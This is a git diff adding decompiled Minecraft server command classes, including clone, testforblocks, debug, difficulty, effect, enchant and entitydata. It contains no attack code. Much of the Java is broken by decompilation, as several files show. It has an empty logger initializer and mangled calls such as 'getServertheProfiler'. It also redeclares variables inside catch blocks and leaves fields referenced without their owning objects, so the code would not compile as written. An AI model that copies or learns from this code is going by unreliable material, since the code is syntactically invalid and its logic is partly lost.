+        for (Iterator var32 = var30.iterator(); var32.hasNext(); var12.setBlockState(field_179537_a, net.minecraft.init.Blocks.barrier.getDefaultState(), 2))
+        {
+          var34 = (StaticCloneData)var32.next();
+          TileEntity var36 = var12.getTileEntity(field_179537_a);
+          
+          if ((var36 instanceof IInventory))
+          {
+            ((IInventory)var36).clearInventory();
+          }
+        }
+        
+        var8 = 0;
+        var32 = var28.iterator();
+        
+        while (var32.hasNext())
+        {
+          StaticCloneData var34 = (StaticCloneData)var32.next();
+          
+          if (var12.setBlockState(field_179537_a, field_179535_b, 2))
+          {
+            var8++;
+          }
+        }
+        StaticCloneData var34;
+        for (var32 = var15.iterator(); var32.hasNext(); var12.setBlockState(field_179537_a, field_179535_b, 2))
+        {
+          var34 = (StaticCloneData)var32.next();
+          TileEntity var36 = var12.getTileEntity(field_179537_a);
+          
+          if ((field_179536_c != null) && (var36 != null))
+          {
+            field_179536_c.setInteger("x", field_179537_a.getX());
+            field_179536_c.setInteger("y", field_179537_a.getY());
+            field_179536_c.setInteger("z", field_179537_a.getZ());
+            var36.readFromNBT(field_179536_c);
+            var36.markDirty();
+          }
+        }
+        
+        var32 = var30.iterator();
+        
+        while (var32.hasNext())
+        {
+          StaticCloneData var34 = (StaticCloneData)var32.next();
+          var12.func_175722_b(field_179537_a, field_179535_b.getBlock());
+        }
+        
+        java.util.List var33 = var12.func_175712_a(var6, false);
+        
+        if (var33 != null)
+        {
+          Iterator var35 = var33.iterator();
+          
+          while (var35.hasNext())
+          {
+            NextTickListEntry var37 = (NextTickListEntry)var35.next();
+            
+            if (var6.func_175898_b(field_180282_a))
+            {
+              BlockPos var38 = field_180282_a.add(var18);
+              var12.func_180497_b(var38, var37.func_151351_a(), (int)(scheduledTime - var12.getWorldInfo().getWorldTotalTime()), priority);
+            }
+          }
+        }
+        
+        if (var8 <= 0)
+        {
+          throw new CommandException("commands.clone.failed", new Object[0]);
+        }
+        
+
+        sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, var8);
+        notifyOperators(sender, this, "commands.clone.success", new Object[] { Integer.valueOf(var8) });
+
+      }
+      else
+      {
+        throw new CommandException("commands.clone.outOfWorld", new Object[0]);
+      }
+    }
+    else
+    {
+      throw new CommandException("commands.clone.outOfWorld", new Object[0]);
+    }
+  }
+  
+
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length == 12) && ("filtered".equals(args[9])) ? func_175762_a(args, Block.blockRegistry.getKeys()) : args.length == 11 ? getListOfStringsMatchingLastWord(args, new String[] { "normal", "force", "move" }) : args.length == 10 ? getListOfStringsMatchingLastWord(args, new String[] { "replace", "masked", "filtered" }) : (args.length > 6) && (args.length <= 9) ? func_175771_a(args, 6, pos) : (args.length > 3) && (args.length <= 6) ? func_175771_a(args, 3, pos) : (args.length > 0) && (args.length <= 3) ? func_175771_a(args, 0, pos) : null;
+  }
+  
+  static class StaticCloneData
+  {
+    public final BlockPos field_179537_a;
+    public final IBlockState field_179535_b;
+    public final NBTTagCompound field_179536_c;
+    private static final String __OBFID = "CL_00002347";
+    
+    public StaticCloneData(BlockPos p_i46037_1_, IBlockState p_i46037_2_, NBTTagCompound p_i46037_3_)
+    {
+      field_179537_a = p_i46037_1_;
+      field_179535_b = p_i46037_2_;
+      field_179536_c = p_i46037_3_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandCompare.java b/src/minecraft/net/minecraft/command/CommandCompare.java
new file mode 100644
index 0000000..2d5fff0
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandCompare.java
@@ -0,0 +1,146 @@
+package net.minecraft.command;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.structure.StructureBoundingBox;
+
+public class CommandCompare extends CommandBase
+{
+  private static final String __OBFID = "CL_00002346";
+  
+  public CommandCompare() {}
+  
+  public String getCommandName()
+  {
+    return "testforblocks";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.compare.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 9)
+    {
+      throw new WrongUsageException("commands.compare.usage", new Object[0]);
+    }
+    
+
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 0);
+    BlockPos var3 = func_175757_a(sender, args, 0, false);
+    BlockPos var4 = func_175757_a(sender, args, 3, false);
+    BlockPos var5 = func_175757_a(sender, args, 6, false);
+    StructureBoundingBox var6 = new StructureBoundingBox(var3, var4);
+    StructureBoundingBox var7 = new StructureBoundingBox(var5, var5.add(var6.func_175896_b()));
+    int var8 = var6.getXSize() * var6.getYSize() * var6.getZSize();
+    
+    if (var8 > 524288)
+    {
+      throw new CommandException("commands.compare.tooManyBlocks", new Object[] { Integer.valueOf(var8), Integer.valueOf(524288) });
+    }
+    if ((minY >= 0) && (maxY < 256) && (minY >= 0) && (maxY < 256))
+    {
+      World var9 = sender.getEntityWorld();
+      
+      if ((var9.isAreaLoaded(var6)) && (var9.isAreaLoaded(var7)))
+      {
+        boolean var10 = false;
+        
+        if ((args.length > 9) && (args[9].equals("masked")))
+        {
+          var10 = true;
+        }
+        
+        var8 = 0;
+        BlockPos var11 = new BlockPos(minX - minX, minY - minY, minZ - minZ);
+        
+        for (int var12 = minZ; var12 <= maxZ; var12++)
+        {
+          for (int var13 = minY; var13 <= maxY; var13++)
+          {
+            for (int var14 = minX; var14 <= maxX; var14++)
+            {
+              BlockPos var15 = new BlockPos(var14, var13, var12);
+              BlockPos var16 = var15.add(var11);
+              boolean var17 = false;
+              IBlockState var18 = var9.getBlockState(var15);
+              
+              if ((!var10) || (var18.getBlock() != net.minecraft.init.Blocks.air))
+              {
+                if (var18 == var9.getBlockState(var16))
+                {
+                  TileEntity var19 = var9.getTileEntity(var15);
+                  TileEntity var20 = var9.getTileEntity(var16);
+                  
+                  if ((var19 != null) && (var20 != null))
+                  {
+                    NBTTagCompound var21 = new NBTTagCompound();
+                    var19.writeToNBT(var21);
+                    var21.removeTag("x");
+                    var21.removeTag("y");
+                    var21.removeTag("z");
+                    NBTTagCompound var22 = new NBTTagCompound();
+                    var20.writeToNBT(var22);
+                    var22.removeTag("x");
+                    var22.removeTag("y");
+                    var22.removeTag("z");
+                    
+                    if (!var21.equals(var22))
+                    {
+                      var17 = true;
+                    }
+                  }
+                  else if (var19 != null)
+                  {
+                    var17 = true;
+                  }
+                }
+                else
+                {
+                  var17 = true;
+                }
+                
+                var8++;
+                
+                if (var17)
+                {
+                  throw new CommandException("commands.compare.failed", new Object[0]);
+                }
+              }
+            }
+          }
+        }
+        
+        sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, var8);
+        notifyOperators(sender, this, "commands.compare.success", new Object[] { Integer.valueOf(var8) });
+      }
+      else
+      {
+        throw new CommandException("commands.compare.outOfWorld", new Object[0]);
+      }
+    }
+    else
+    {
+      throw new CommandException("commands.compare.outOfWorld", new Object[0]);
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 10 ? getListOfStringsMatchingLastWord(args, new String[] { "masked", "all" }) : (args.length > 6) && (args.length <= 9) ? func_175771_a(args, 6, pos) : (args.length > 3) && (args.length <= 6) ? func_175771_a(args, 3, pos) : (args.length > 0) && (args.length <= 3) ? func_175771_a(args, 0, pos) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandDebug.java b/src/minecraft/net/minecraft/command/CommandDebug.java
new file mode 100644
index 0000000..f64038f
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandDebug.java
@@ -0,0 +1,175 @@
+package net.minecraft.command;
+
+import java.io.File;
+import java.io.FileWriter;
+import java.text.SimpleDateFormat;
+import java.util.List;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.profiler.Profiler.Result;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class CommandDebug extends CommandBase
+{
+  private static final Logger logger = ;
+  private long field_147206_b;
+  private int field_147207_c;
+  private static final String __OBFID = "CL_00000270";
+  
+  public CommandDebug() {}
+  
+  public String getCommandName() { return "debug"; }
+  
+
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.debug.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new WrongUsageException("commands.debug.usage", new Object[0]);
+    }
+    
+
+    if (args[0].equals("start"))
+    {
+      if (args.length != 1)
+      {
+        throw new WrongUsageException("commands.debug.usage", new Object[0]);
+      }
+      
+      notifyOperators(sender, this, "commands.debug.start", new Object[0]);
+      MinecraftServer.getServer().enableProfiling();
+      field_147206_b = MinecraftServer.getCurrentTimeMillis();
+      field_147207_c = MinecraftServer.getServer().getTickCounter();
+    }
+    else if (args[0].equals("stop"))
+    {
+      if (args.length != 1)
+      {
+        throw new WrongUsageException("commands.debug.usage", new Object[0]);
+      }
+      
+      if (!getServertheProfiler.profilingEnabled)
+      {
+        throw new CommandException("commands.debug.notStarted", new Object[0]);
+      }
+      
+      long var3 = MinecraftServer.getCurrentTimeMillis();
+      int var5 = MinecraftServer.getServer().getTickCounter();
+      long var6 = var3 - field_147206_b;
+      int var8 = var5 - field_147207_c;
+      func_147205_a(var6, var8);
+      getServertheProfiler.profilingEnabled = false;
+      notifyOperators(sender, this, "commands.debug.stop", new Object[] { Float.valueOf((float)var6 / 1000.0F), Integer.valueOf(var8) });
+    }
+    else if (args[0].equals("chunk"))
+    {
+      if (args.length != 4)
+      {
+        throw new WrongUsageException("commands.debug.usage", new Object[0]);
+      }
+      
+      func_175757_a(sender, args, 1, true);
+    }
+  }
+  
+
+  private void func_147205_a(long p_147205_1_, int p_147205_3_)
+  {
+    File var4 = new File(MinecraftServer.getServer().getFile("debug"), "profile-results-" + new SimpleDateFormat("yyyy-MM-dd_HH.mm.ss").format(new java.util.Date()) + ".txt");
+    var4.getParentFile().mkdirs();
+    
+    try
+    {
+      FileWriter var5 = new FileWriter(var4);
+      var5.write(func_147204_b(p_147205_1_, p_147205_3_));
+      var5.close();
+    }
+    catch (Throwable var6)
+    {
+      logger.error("Could not save profiler results to " + var4, var6);
+    }
+  }
+  
+  private String func_147204_b(long p_147204_1_, int p_147204_3_)
+  {
+    StringBuilder var4 = new StringBuilder();
+    var4.append("---- Minecraft Profiler Results ----\n");
+    var4.append("// ");
+    var4.append(func_147203_d());
+    var4.append("\n\n");
+    var4.append("Time span: ").append(p_147204_1_).append(" ms\n");
+    var4.append("Tick span: ").append(p_147204_3_).append(" ticks\n");
+    var4.append("// This is approximately ").append(String.format("%.2f", new Object[] { Float.valueOf(p_147204_3_ / ((float)p_147204_1_ / 1000.0F)) })).append(" ticks per second. It should be ").append(20).append(" ticks per second\n\n");
+    var4.append("--- BEGIN PROFILE DUMP ---\n\n");
+    func_147202_a(0, "root", var4);
+    var4.append("--- END PROFILE DUMP ---\n\n");
+    return var4.toString();
+  }
+  
+  private void func_147202_a(int p_147202_1_, String p_147202_2_, StringBuilder p_147202_3_)
+  {
+    List var4 = getServertheProfiler.getProfilingData(p_147202_2_);
+    
+    if ((var4 != null) && (var4.size() >= 3))
+    {
+      for (int var5 = 1; var5 < var4.size(); var5++)
+      {
+        Profiler.Result var6 = (Profiler.Result)var4.get(var5);
+        p_147202_3_.append(String.format("[%02d] ", new Object[] { Integer.valueOf(p_147202_1_) }));
+        
+        for (int var7 = 0; var7 < p_147202_1_; var7++)
+        {
+          p_147202_3_.append(" ");
+        }
+        
+        p_147202_3_.append(field_76331_c).append(" - ").append(String.format("%.2f", new Object[] { Double.valueOf(field_76332_a) })).append("%/").append(String.format("%.2f", new Object[] { Double.valueOf(field_76330_b) })).append("%\n");
+        
+        if (!field_76331_c.equals("unspecified"))
+        {
+          try
+          {
+            func_147202_a(p_147202_1_ + 1, p_147202_2_ + "." + field_76331_c, p_147202_3_);
+          }
+          catch (Exception var8)
+          {
+            p_147202_3_.append("[[ EXCEPTION ").append(var8).append(" ]]");
+          }
+        }
+      }
+    }
+  }
+  
+  private static String func_147203_d()
+  {
+    String[] var0 = { "Shiny numbers!", "Am I not running fast enough? :(", "I'm working as hard as I can!", "Will I ever be good enough for you? :(", "Speedy. Zoooooom!", "Hello world", "40% better than a crash report.", "Now with extra numbers", "Now with less numbers", "Now with the same numbers", "You should add flames to things, it makes them go faster!", "Do you feel the need for... optimization?", "*cracks redstone whip*", "Maybe if you treated it better then it'll have more motivation to work faster! Poor server." };
+    
+    try
+    {
+      return var0[((int)(System.nanoTime() % var0.length))];
+    }
+    catch (Throwable var2) {}
+    
+    return "Witty comment unavailable :(";
+  }
+  
+
+  public List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "start", "stop" }) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandDefaultGameMode.java b/src/minecraft/net/minecraft/command/CommandDefaultGameMode.java
new file mode 100644
index 0000000..40f8207
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandDefaultGameMode.java
@@ -0,0 +1,52 @@
+package net.minecraft.command;
+
+import java.util.Iterator;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class CommandDefaultGameMode extends CommandGameMode
+{
+  private static final String __OBFID = "CL_00000296";
+  
+  public CommandDefaultGameMode() {}
+  
+  public String getCommandName()
+  {
+    return "defaultgamemode";
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.defaultgamemode.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length <= 0)
+    {
+      throw new WrongUsageException("commands.defaultgamemode.usage", new Object[0]);
+    }
+    
+
+    WorldSettings.GameType var3 = getGameModeFromCommand(sender, args[0]);
+    setGameType(var3);
+    notifyOperators(sender, this, "commands.defaultgamemode.success", new Object[] { new net.minecraft.util.ChatComponentTranslation("gameMode." + var3.getName(), new Object[0]) });
+  }
+  
+
+  protected void setGameType(WorldSettings.GameType p_71541_1_)
+  {
+    MinecraftServer var2 = MinecraftServer.getServer();
+    var2.setGameType(p_71541_1_);
+    
+
+    if (var2.getForceGamemode()) {
+      net.minecraft.entity.player.EntityPlayerMP var4;
+      for (Iterator var3 = getServergetConfigurationManagerplayerEntityList.iterator(); var3.hasNext(); fallDistance = 0.0F)
+      {
+        var4 = (net.minecraft.entity.player.EntityPlayerMP)var3.next();
+        var4.setGameType(p_71541_1_);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandDifficulty.java b/src/minecraft/net/minecraft/command/CommandDifficulty.java
new file mode 100644
index 0000000..6029ac4
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandDifficulty.java
@@ -0,0 +1,54 @@
+package net.minecraft.command;
+
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.EnumDifficulty;
+
+public class CommandDifficulty extends CommandBase
+{
+  private static final String __OBFID = "CL_00000422";
+  
+  public CommandDifficulty() {}
+  
+  public String getCommandName()
+  {
+    return "difficulty";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.difficulty.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length <= 0)
+    {
+      throw new WrongUsageException("commands.difficulty.usage", new Object[0]);
+    }
+    
+
+    EnumDifficulty var3 = func_180531_e(args[0]);
+    MinecraftServer.getServer().setDifficultyForAllWorlds(var3);
+    notifyOperators(sender, this, "commands.difficulty.success", new Object[] { new net.minecraft.util.ChatComponentTranslation(var3.getDifficultyResourceKey(), new Object[0]) });
+  }
+  
+  protected EnumDifficulty func_180531_e(String p_180531_1_)
+    throws CommandException
+  {
+    return (!p_180531_1_.equalsIgnoreCase("peaceful")) && (!p_180531_1_.equalsIgnoreCase("p")) ? EnumDifficulty.EASY : (!p_180531_1_.equalsIgnoreCase("easy")) && (!p_180531_1_.equalsIgnoreCase("e")) ? EnumDifficulty.NORMAL : (!p_180531_1_.equalsIgnoreCase("normal")) && (!p_180531_1_.equalsIgnoreCase("n")) ? EnumDifficulty.HARD : (!p_180531_1_.equalsIgnoreCase("hard")) && (!p_180531_1_.equalsIgnoreCase("h")) ? EnumDifficulty.getDifficultyEnum(parseInt(p_180531_1_, 0, 3)) : EnumDifficulty.PEACEFUL;
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "peaceful", "easy", "normal", "hard" }) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandEffect.java b/src/minecraft/net/minecraft/command/CommandEffect.java
new file mode 100644
index 0000000..99b640a
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandEffect.java
@@ -0,0 +1,154 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentTranslation;
+
+public class CommandEffect extends CommandBase
+{
+  private static final String __OBFID = "CL_00000323";
+  
+  public CommandEffect() {}
+  
+  public String getCommandName()
+  {
+    return "effect";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.effect.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new WrongUsageException("commands.effect.usage", new Object[0]);
+    }
+    
+
+    EntityLivingBase var3 = (EntityLivingBase)func_175759_a(sender, args[0], EntityLivingBase.class);
+    
+    if (args[1].equals("clear"))
+    {
+      if (var3.getActivePotionEffects().isEmpty())
+      {
+        throw new CommandException("commands.effect.failure.notActive.all", new Object[] { var3.getName() });
+      }
+      
+
+      var3.clearActivePotions();
+      notifyOperators(sender, this, "commands.effect.success.removed.all", new Object[] { var3.getName() });
+    }
+    else
+    {
+      int var4;
+      
+
+      try
+      {
+        var4 = parseInt(args[1], 1);
+      }
+      catch (NumberInvalidException var11) {
+        int var4;
+        Potion var6 = Potion.func_180142_b(args[1]);
+        
+        if (var6 == null)
+        {
+          throw var11;
+        }
+        
+        var4 = id;
+      }
+      
+      int var5 = 600;
+      int var12 = 30;
+      int var7 = 0;
+      
+      if ((var4 >= 0) && (var4 < Potion.potionTypes.length) && (Potion.potionTypes[var4] != null))
+      {
+        Potion var8 = Potion.potionTypes[var4];
+        
+        if (args.length >= 3)
+        {
+          var12 = parseInt(args[2], 0, 1000000);
+          
+          if (var8.isInstant())
+          {
+            var5 = var12;
+          }
+          else
+          {
+            var5 = var12 * 20;
+          }
+        }
+        else if (var8.isInstant())
+        {
+          var5 = 1;
+        }
+        
+        if (args.length >= 4)
+        {
+          var7 = parseInt(args[3], 0, 255);
+        }
+        
+        boolean var9 = true;
+        
+        if ((args.length >= 5) && ("true".equalsIgnoreCase(args[4])))
+        {
+          var9 = false;
+        }
+        
+        if (var12 > 0)
+        {
+          PotionEffect var10 = new PotionEffect(var4, var5, var7, false, var9);
+          var3.addPotionEffect(var10);
+          notifyOperators(sender, this, "commands.effect.success", new Object[] { new ChatComponentTranslation(var10.getEffectName(), new Object[0]), Integer.valueOf(var4), Integer.valueOf(var7), var3.getName(), Integer.valueOf(var12) });
+        }
+        else if (var3.isPotionActive(var4))
+        {
+          var3.removePotionEffect(var4);
+          notifyOperators(sender, this, "commands.effect.success.removed", new Object[] { new ChatComponentTranslation(var8.getName(), new Object[0]), var3.getName() });
+        }
+        else
+        {
+          throw new CommandException("commands.effect.failure.notActive", new Object[] { new ChatComponentTranslation(var8.getName(), new Object[0]), var3.getName() });
+        }
+      }
+      else
+      {
+        throw new NumberInvalidException("commands.effect.notFound", new Object[] { Integer.valueOf(var4) });
+      }
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length == 5 ? getListOfStringsMatchingLastWord(args, new String[] { "true", "false" }) : args.length == 2 ? getListOfStringsMatchingLastWord(args, Potion.func_180141_c()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, getAllUsernames()) : null;
+  }
+  
+  protected String[] getAllUsernames()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandEnchant.java b/src/minecraft/net/minecraft/command/CommandEnchant.java
new file mode 100644
index 0000000..2ad32c4
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandEnchant.java
@@ -0,0 +1,135 @@
+package net.minecraft.command;
+
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandEnchant extends CommandBase
+{
+  private static final String __OBFID = "CL_00000377";
+  
+  public CommandEnchant() {}
+  
+  public String getCommandName()
+  {
+    return "enchant";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.enchant.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new WrongUsageException("commands.enchant.usage", new Object[0]);
+    }
+    
+
+    net.minecraft.entity.player.EntityPlayerMP var3 = getPlayer(sender, args[0]);
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, 0);
+    
+    int var4;
+    try
+    {
+      var4 = parseInt(args[1], 0);
+    }
+    catch (NumberInvalidException var12) {
+      int var4;
+      Enchantment var6 = Enchantment.func_180305_b(args[1]);
+      
+      if (var6 == null)
+      {
+        throw var12;
+      }
+      
+      var4 = effectId;
+    }
+    
+    int var5 = 1;
+    ItemStack var13 = var3.getCurrentEquippedItem();
+    
+    if (var13 == null)
+    {
+      throw new CommandException("commands.enchant.noItem", new Object[0]);
+    }
+    
+
+    Enchantment var7 = Enchantment.func_180306_c(var4);
+    
+    if (var7 == null)
+    {
+      throw new NumberInvalidException("commands.enchant.notFound", new Object[] { Integer.valueOf(var4) });
+    }
+    if (!var7.canApply(var13))
+    {
+      throw new CommandException("commands.enchant.cantEnchant", new Object[0]);
+    }
+    
+
+    if (args.length >= 3)
+    {
+      var5 = parseInt(args[2], var7.getMinLevel(), var7.getMaxLevel());
+    }
+    
+    if (var13.hasTagCompound())
+    {
+      NBTTagList var8 = var13.getEnchantmentTagList();
+      
+      if (var8 != null)
+      {
+        for (int var9 = 0; var9 < var8.tagCount(); var9++)
+        {
+          short var10 = var8.getCompoundTagAt(var9).getShort("id");
+          
+          if (Enchantment.func_180306_c(var10) != null)
+          {
+            Enchantment var11 = Enchantment.func_180306_c(var10);
+            
+            if (!var11.canApplyTogether(var7))
+            {
+              throw new CommandException("commands.enchant.cantCombine", new Object[] { var7.getTranslatedName(var5), var11.getTranslatedName(var8.getCompoundTagAt(var9).getShort("lvl")) });
+            }
+          }
+        }
+      }
+    }
+    
+    var13.addEnchantment(var7, var5);
+    notifyOperators(sender, this, "commands.enchant.success", new Object[0]);
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, 1);
+  }
+  
+
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length == 2 ? getListOfStringsMatchingLastWord(args, Enchantment.func_180304_c()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, getListOfPlayers()) : null;
+  }
+  
+  protected String[] getListOfPlayers()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandEntityData.java b/src/minecraft/net/minecraft/command/CommandEntityData.java
new file mode 100644
index 0000000..2595d54
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandEntityData.java
@@ -0,0 +1,93 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+
+public class CommandEntityData extends CommandBase
+{
+  private static final String __OBFID = "CL_00002345";
+  
+  public CommandEntityData() {}
+  
+  public String getCommandName()
+  {
+    return "entitydata";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.entitydata.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new WrongUsageException("commands.entitydata.usage", new Object[0]);
+    }
+    
+
+    Entity var3 = func_175768_b(sender, args[0]);
+    
+    if ((var3 instanceof net.minecraft.entity.player.EntityPlayer))
+    {
+      throw new CommandException("commands.entitydata.noPlayers", new Object[] { var3.getDisplayName() });
+    }
+    
+
+    NBTTagCompound var4 = new NBTTagCompound();
+    var3.writeToNBT(var4);
+    NBTTagCompound var5 = (NBTTagCompound)var4.copy();
+    
+
+    try
+    {
+      var6 = JsonToNBT.func_180713_a(getChatComponentFromNthArg(sender, args, 1).getUnformattedText());
+    }
+    catch (NBTException var8) {
+      NBTTagCompound var6;
+      throw new CommandException("commands.entitydata.tagError", new Object[] { var8.getMessage() });
+    }
+    NBTTagCompound var6;
+    var6.removeTag("UUIDMost");
+    var6.removeTag("UUIDLeast");
+    var4.merge(var6);
+    
+    if (var4.equals(var5))
+    {
+      throw new CommandException("commands.entitydata.failed", new Object[] { var4.toString() });
+    }
+    
+
+    var3.readFromNBT(var4);
+    notifyOperators(sender, this, "commands.entitydata.success", new Object[] { var4.toString() });
+  }
+  
+
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandException.java b/src/minecraft/net/minecraft/command/CommandException.java
new file mode 100644
index 0000000..0ff436a
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandException.java
@@ -0,0 +1,18 @@
+package net.minecraft.command;
+
+public class CommandException extends Exception
+{
+  private final Object[] errorObjects;
+  private static final String __OBFID = "CL_00001187";
+  
+  public CommandException(String p_i1359_1_, Object... p_i1359_2_)
+  {
+    super(p_i1359_1_);
+    errorObjects = p_i1359_2_;
+  }
+  
+  public Object[] getErrorOjbects()
+  {
+    return errorObjects;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandExecuteAt.java b/src/minecraft/net/minecraft/command/CommandExecuteAt.java
new file mode 100644
index 0000000..0c79ee7
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandExecuteAt.java
@@ -0,0 +1,145 @@
+package net.minecraft.command;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.World;
+
+public class CommandExecuteAt extends CommandBase
+{
+  private static final String __OBFID = "CL_00002344";
+  
+  public CommandExecuteAt() {}
+  
+  public String getCommandName()
+  {
+    return "execute";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.execute.usage";
+  }
+  
+  public void processCommand(final ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 5)
+    {
+      throw new WrongUsageException("commands.execute.usage", new Object[0]);
+    }
+    
+
+    final Entity var3 = func_175759_a(sender, args[0], Entity.class);
+    final double var4 = func_175761_b(posX, args[1], false);
+    double var6 = func_175761_b(posY, args[2], false);
+    final double var8 = func_175761_b(posZ, args[3], false);
+    final BlockPos var10 = new BlockPos(var4, var6, var8);
+    byte var11 = 4;
+    
+    if (("detect".equals(args[4])) && (args.length > 10))
+    {
+      World var12 = sender.getEntityWorld();
+      double var13 = func_175761_b(var4, args[5], false);
+      double var15 = func_175761_b(var6, args[6], false);
+      double var17 = func_175761_b(var8, args[7], false);
+      Block var19 = getBlockByText(sender, args[8]);
+      int var20 = parseInt(args[9], -1, 15);
+      BlockPos var21 = new BlockPos(var13, var15, var17);
+      IBlockState var22 = var12.getBlockState(var21);
+      
+      if ((var22.getBlock() != var19) || ((var20 >= 0) && (var22.getBlock().getMetaFromState(var22) != var20)))
+      {
+        throw new CommandException("commands.execute.failed", new Object[] { "detect", var3.getName() });
+      }
+      
+      var11 = 10;
+    }
+    
+    String var24 = func_180529_a(args, var11);
